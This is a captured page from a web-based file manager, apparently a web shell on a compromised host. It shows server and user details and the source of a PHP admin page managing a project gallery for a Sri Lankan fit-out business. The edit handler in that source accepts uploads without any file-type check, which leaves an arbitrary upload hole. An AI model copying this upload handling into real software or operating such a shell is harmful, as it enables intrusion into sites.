🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:projects.php
<?php require_once 'header.php'; // Flash message from redirect $msg = ''; if (!empty($_SESSION['flash_msg'])) { $msg = $_SESSION['flash_msg']; unset($_SESSION['flash_msg']); } // Auto-create tables try { $pdo->exec("CREATE TABLE IF NOT EXISTS `projects` ( `id` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(200) NOT NULL, `description` text NOT NULL, `client_name` varchar(150) DEFAULT '', `location` varchar(255) DEFAULT '', `budget` decimal(12,2) DEFAULT 0, `materials` varchar(500) DEFAULT '', `completion_date` date DEFAULT NULL, `thumbnail` varchar(255) DEFAULT '', `gallery_images` text DEFAULT NULL, `is_featured` tinyint(1) DEFAULT 0, `is_active` tinyint(1) DEFAULT 1, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4"); $pdo->exec("CREATE TABLE IF NOT EXISTS `project_images` ( `id` int(11) NOT NULL AUTO_INCREMENT, `project_id` int(11) NOT NULL, `image` varchar(255) NOT NULL, `sort_order` int(11) DEFAULT 0, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), PRIMARY KEY (`id`), KEY `project_id` (`project_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4"); } catch(Exception $e) {} $upload_dir = '../uploads/projects/'; if (!is_dir($upload_dir)) { @mkdir($upload_dir, 0777, true); } $upload_ok = is_writable($upload_dir); // Handle Delete Single Image if (isset($_GET['del_img']) && isset($_GET['pid'])) { $img_id = (int)$_GET['del_img']; $pid = (int)$_GET['pid']; try { $stmt = $pdo->prepare("SELECT image FROM project_images WHERE id=? AND project_id=?"); $stmt->execute([$img_id, $pid]); $img = $stmt->fetch(); if ($img) { @unlink($upload_dir . $img['image']); $pdo->prepare("DELETE FROM project_images WHERE id=?")->execute([$img_id]); $msg = "<div class='alert alert-success'>Image deleted successfully.</div>"; } } catch(Exception $e) {} } // Handle Delete Project if (isset($_GET['delete'])) { $id = (int)$_GET['delete']; try { // Remove project images files $stmt = $pdo->prepare("SELECT image FROM project_images WHERE project_id=?"); $stmt->execute([$id]); foreach($stmt->fetchAll() as $img) @unlink($upload_dir . $img['image']); // Remove thumbnail $stmt2 = $pdo->prepare("SELECT thumbnail FROM projects WHERE id=?"); $stmt2->execute([$id]); $proj = $stmt2->fetch(); if ($proj) @unlink($upload_dir . $proj['thumbnail']); // DB delete (cascades project_images) $pdo->prepare("DELETE FROM projects WHERE id=?")->execute([$id]); $msg = "<div class='alert alert-success'>Project deleted successfully.</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'>Error deleting project.</div>"; } } // Handle Add Project if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action']) && $_POST['action'] == 'add') { $title = trim($_POST['title'] ?? ''); $desc = trim($_POST['description'] ?? ''); $client = trim($_POST['client_name'] ?? ''); $location = trim($_POST['location'] ?? ''); $budget = (float)($_POST['budget'] ?? 0); $materials = trim($_POST['materials'] ?? ''); $date = !empty($_POST['completion_date']) ? $_POST['completion_date'] : null; if (empty($title) || empty($desc)) { $msg = "<div class='alert alert-danger'>Please fill in the Title and Description fields.</div>"; } else { $thumbnail = ''; $all_images = []; $upload_errors = []; // Handle image uploads if (!empty($_FILES['images']['name'][0])) { if (!$upload_ok) { $upload_errors[] = 'Upload directory is not writable on the server.'; } else { foreach ($_FILES['images']['name'] as $k => $name) { if ($name && $_FILES['images']['error'][$k] == UPLOAD_ERR_OK) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $allowed = ['jpg','jpeg','png','gif','webp']; if (!in_array($ext, $allowed)) { $upload_errors[] = "File '$name' is not an allowed image type."; continue; } $fname = time() . '_' . $k . '_' . preg_replace('/[^a-zA-Z0-9._-]/', '_', $name); if (move_uploaded_file($_FILES['images']['tmp_name'][$k], $upload_dir . $fname)) { $all_images[] = $fname; if (empty($thumbnail)) $thumbnail = $fname; } else { $upload_errors[] = "Failed to upload '$name'."; } } elseif ($_FILES['images']['error'][$k] != UPLOAD_ERR_NO_FILE) { $upload_errors[] = "Upload error code " . $_FILES['images']['error'][$k] . " for file '$name'."; } } } } try { $stmt = $pdo->prepare("INSERT INTO projects (title, description, client_name, location, budget, materials, completion_date, thumbnail, gallery_images) VALUES (?,?,?,?,?,?,?,?,?)"); $stmt->execute([$title, $desc, $client, $location, $budget, $materials, $date, $thumbnail, json_encode($all_images)]); $project_id = $pdo->lastInsertId(); // Insert images into project_images table foreach ($all_images as $idx => $img) { $pdo->prepare("INSERT INTO project_images (project_id, image, sort_order) VALUES (?,?,?)")->execute([$project_id, $img, $idx]); } $flash = 'Project added successfully!'; if (!empty($upload_errors)) { $flash .= ' (Some images had issues: ' . implode(', ', $upload_errors) . ')'; } $msg = "<div class='alert alert-success'>$flash</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'><strong>Database Error:</strong> " . e($e->getMessage()) . "</div>"; } } } // Handle Edit Project if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action']) && $_POST['action'] == 'edit') { $id = (int)$_POST['id']; $title = $_POST['title']; $desc = $_POST['description']; $client = $_POST['client_name']; $location = $_POST['location']; $budget = (float)$_POST['budget']; $materials= $_POST['materials']; $date = $_POST['completion_date'] ?: null; $new_images = []; if (!empty($_FILES['images']['name'][0])) { foreach ($_FILES['images']['name'] as $k => $name) { if ($name && $_FILES['images']['error'][$k] == 0) { $fname = time() . '_' . $k . '_' . preg_replace('/[^a-zA-Z0-9._-]/', '_', $name); move_uploaded_file($_FILES['images']['tmp_name'][$k], $upload_dir . $fname); $new_images[] = $fname; } } } try { // Get current thumbnail $stmt = $pdo->prepare("SELECT thumbnail FROM projects WHERE id=?"); $stmt->execute([$id]); $existing = $stmt->fetch(); // Get current images $stmt2 = $pdo->prepare("SELECT image FROM project_images WHERE project_id=? ORDER BY sort_order"); $stmt2->execute([$id]); $current_imgs = array_column($stmt2->fetchAll(), 'image'); // Insert new images $start_order = count($current_imgs); foreach ($new_images as $idx => $img) { $pdo->prepare("INSERT INTO project_images (project_id, image, sort_order) VALUES (?,?,?)")->execute([$id, $img, $start_order + $idx]); } // Get updated image list for gallery_images $all_imgs = array_merge($current_imgs, $new_images); $thumbnail = $existing['thumbnail'] ?: ($all_imgs[0] ?? ''); $pdo->prepare("UPDATE projects SET title=?, description=?, client_name=?, location=?, budget=?, materials=?, completion_date=?, thumbnail=?, gallery_images=? WHERE id=?") ->execute([$title, $desc, $client, $location, $budget, $materials, $date, $thumbnail, json_encode($all_imgs), $id]); $msg = "<div class='alert alert-success'>Project updated successfully!</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'>Error: " . e($e->getMessage()) . "</div>"; } } // Fetch all projects $projects = []; try { $stmt = $pdo->query("SELECT p.*, (SELECT COUNT(*) FROM project_images WHERE project_id=p.id) as img_count FROM projects p ORDER BY p.created_at DESC"); $projects = $stmt->fetchAll(); } catch(Exception $e) {} // If editing, fetch edit data $edit_project = null; $edit_images = []; if (isset($_GET['edit'])) { $edit_id = (int)$_GET['edit']; try { $stmt = $pdo->prepare("SELECT * FROM projects WHERE id=?"); $stmt->execute([$edit_id]); $edit_project = $stmt->fetch(); $stmt2 = $pdo->prepare("SELECT * FROM project_images WHERE project_id=? ORDER BY sort_order"); $stmt2->execute([$edit_id]); $edit_images = $stmt2->fetchAll(); } catch(Exception $e) {} } ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h2><i class="fas fa-folder-open text-gold me-2"></i> Our Projects</h2> <button class="btn btn-gold" style="position: relative; z-index: 9999;" onclick="alert('Button is physically clickable. If modal does not open, Bootstrap JS is failing.');" data-bs-toggle="modal" data-bs-target="#addProjectModal"> <i class="fas fa-plus me-2"></i> Add Project </button> </div> <?= $msg ?> <?php if ($edit_project): ?> <!-- EDIT FORM (inline, shown when ?edit=ID) --> <div class="card mb-4"> <div class="card-header d-flex justify-content-between align-items-center"> <span><i class="fas fa-edit me-2 text-gold"></i> Editing: <strong><?= e($edit_project['title']) ?></strong></span> <a href="projects.php" class="btn btn-sm btn-outline-secondary">Cancel</a> </div> <div class="card-body"> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="edit"> <input type="hidden" name="id" value="<?= $edit_project['id'] ?>"> <div class="row g-3"> <div class="col-md-8"> <label class="form-label">Project Title *</label> <input type="text" name="title" class="form-control" value="<?= e($edit_project['title']) ?>" required> </div> <div class="col-md-4"> <label class="form-label">Completion Date</label> <input type="date" name="completion_date" class="form-control" value="<?= e($edit_project['completion_date']) ?>"> </div> <div class="col-12"> <label class="form-label">Description *</label> <textarea name="description" class="form-control" rows="4" required><?= e($edit_project['description']) ?></textarea> </div> <div class="col-md-6"> <label class="form-label">Location</label> <input type="text" name="location" class="form-control" value="<?= e($edit_project['location']) ?>"> </div> <div class="col-md-6"> <label class="form-label">Budget (LKR)</label> <input type="number" name="budget" class="form-control" value="<?= e($edit_project['budget']) ?>" step="0.01"> </div> <div class="col-12"> <label class="form-label">Materials Used <span class="text-muted">(Optional)</span></label> <input type="text" name="materials" class="form-control" value="<?= e($edit_project['materials']) ?>" placeholder="e.g. Aluminium, Glass, LED"> </div> <!-- Existing Images --> <?php if ($edit_images): ?> <div class="col-12"> <label class="form-label">Current Photos</label> <div class="d-flex flex-wrap gap-3"> <?php foreach($edit_images as $img): ?> <div class="position-relative" style="width:120px;"> <img src="../uploads/projects/<?= e($img['image']) ?>" class="img-thumbnail w-100" style="height:90px;object-fit:cover;"> <a href="projects.php?del_img=<?= $img['id'] ?>&pid=<?= $edit_project['id'] ?>" class="btn btn-danger btn-sm position-absolute top-0 end-0 p-1 m-1" style="line-height:1;" onclick="return confirm('Remove this photo?')"> <i class="fas fa-times"></i> </a> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> <div class="col-12"> <label class="form-label">Add More Photos (multiple allowed)</label> <input type="file" name="images[]" class="form-control" accept="image/*" multiple> <small class="text-muted">Hold Ctrl/Cmd to select multiple images</small> </div> <div class="col-12"> <button type="submit" class="btn btn-gold px-5"><i class="fas fa-save me-2"></i>Update Project</button> <a href="projects.php" class="btn btn-outline-secondary ms-2">Cancel</a> </div> </div> </form> </div> </div> <?php endif; ?> <!-- Projects Table --> <div class="card"> <div class="card-body p-0"> <div class="table-responsive"> <table class="table table-hover align-middle mb-0"> <thead class="table-light"> <tr> <th>Photo</th> <th>Title</th> <th>Location</th> <th>Budget</th> <th>Photos</th> <th>Date</th> <th>Actions</th> </tr> </thead> <tbody> <?php if (empty($projects)): ?> <tr><td colspan="8" class="text-center py-5 text-muted"> <i class="fas fa-folder-open fs-1 d-block mb-3"></i> No projects added yet. Click <strong>Add Project</strong> to get started. </td></tr> <?php else: ?> <?php foreach($projects as $p): ?> <tr <?= (isset($_GET['edit']) && (int)$_GET['edit'] == $p['id']) ? 'class="table-warning"' : '' ?>> <td> <?php if($p['thumbnail']): ?> <img src="../uploads/projects/<?= e($p['thumbnail']) ?>" style="width:70px;height:50px;object-fit:cover;border-radius:6px;"> <?php else: ?> <div style="width:70px;height:50px;background:#f0f0f0;border-radius:6px;display:flex;align-items:center;justify-content:center;"><i class="fas fa-image text-muted"></i></div> <?php endif; ?> </td> <td><strong><?= e($p['title']) ?></strong></td> <td><i class="fas fa-map-marker-alt text-muted me-1"></i><?= e($p['location']) ?></td> <td><?= format_currency($p['budget']) ?></td> <td><span class="badge bg-info"><?= $p['img_count'] ?> photos</span></td> <td class="small text-muted"><?= $p['completion_date'] ? date('M Y', strtotime($p['completion_date'])) : '-' ?></td> <td> <a href="projects.php?edit=<?= $p['id'] ?>" class="btn btn-sm btn-outline-primary me-1" title="Edit"> <i class="fas fa-edit"></i> </a> <a href="projects.php?delete=<?= $p['id'] ?>" class="btn btn-sm btn-outline-danger" onclick="return confirm('Delete this project and all its photos?')" title="Delete"> <i class="fas fa-trash"></i> </a> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> </div> <!-- Add Project Modal --> <div class="modal fade" id="addProjectModal" tabindex="-1"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <form method="POST" enctype="multipart/form-data"> <div class="modal-header"> <h5 class="modal-title"><i class="fas fa-folder-plus me-2 text-gold"></i>Add New Project</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <input type="hidden" name="action" value="add"> <div class="row g-3"> <div class="col-md-8"> <label class="form-label">Project Title *</label> <input type="text" name="title" class="form-control" placeholder="e.g. Modern Pantry Cupboard — Colombo" required> </div> <div class="col-md-4"> <label class="form-label">Completion Date</label> <input type="date" name="completion_date" class="form-control"> </div> <div class="col-12"> <label class="form-label">Description *</label> <textarea name="description" class="form-control" rows="4" placeholder="Describe this project..." required></textarea> </div> <div class="col-md-6"> <label class="form-label">Location</label> <input type="text" name="location" class="form-control" placeholder="e.g. Colombo 07"> </div> <div class="col-md-6"> <label class="form-label">Budget (LKR)</label> <input type="number" name="budget" class="form-control" placeholder="0.00" step="0.01" min="0"> </div> <div class="col-12"> <label class="form-label">Materials Used <span class="text-muted">(Optional)</span></label> <input type="text" name="materials" class="form-control" placeholder="e.g. Aluminium, Glass, LED Lighting"> </div> <div class="col-12"> <label class="form-label fw-bold">Project Photos <span class="text-gold">*</span></label> <div class="border rounded-3 p-3 bg-light"> <input type="file" name="images[]" class="form-control mb-2" accept="image/*" multiple id="photoUpload"> <small class="text-muted"><i class="fas fa-info-circle me-1"></i>Hold <kbd>Ctrl</kbd> or <kbd>Cmd</kbd> to select <strong>multiple images</strong>. First image will be the thumbnail.</small> <div id="previewContainer" class="d-flex flex-wrap gap-2 mt-3"></div> </div> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-gold px-4"><i class="fas fa-save me-2"></i>Save Project</button> </div> </form> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const photoUpload = document.getElementById('photoUpload'); if (photoUpload) { photoUpload.addEventListener('change', function() { const container = document.getElementById('previewContainer'); container.innerHTML = ''; Array.from(this.files).forEach((file, i) => { const reader = new FileReader(); reader.onload = (e) => { const div = document.createElement('div'); div.style.cssText = 'position:relative;width:100px;'; div.innerHTML = `<img src="${e.target.result}" style="width:100px;height:80px;object-fit:cover;border-radius:6px;border:2px solid ${i===0?'#D4AF37':'#dee2e6'}"> ${i===0?'<span class="badge bg-warning text-dark position-absolute bottom-0 start-0 m-1" style="font-size:0.6rem">Cover</span>':''}`; container.appendChild(div); }; reader.readAsDataURL(file); }); }); } }); </script> <?php require_once 'footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder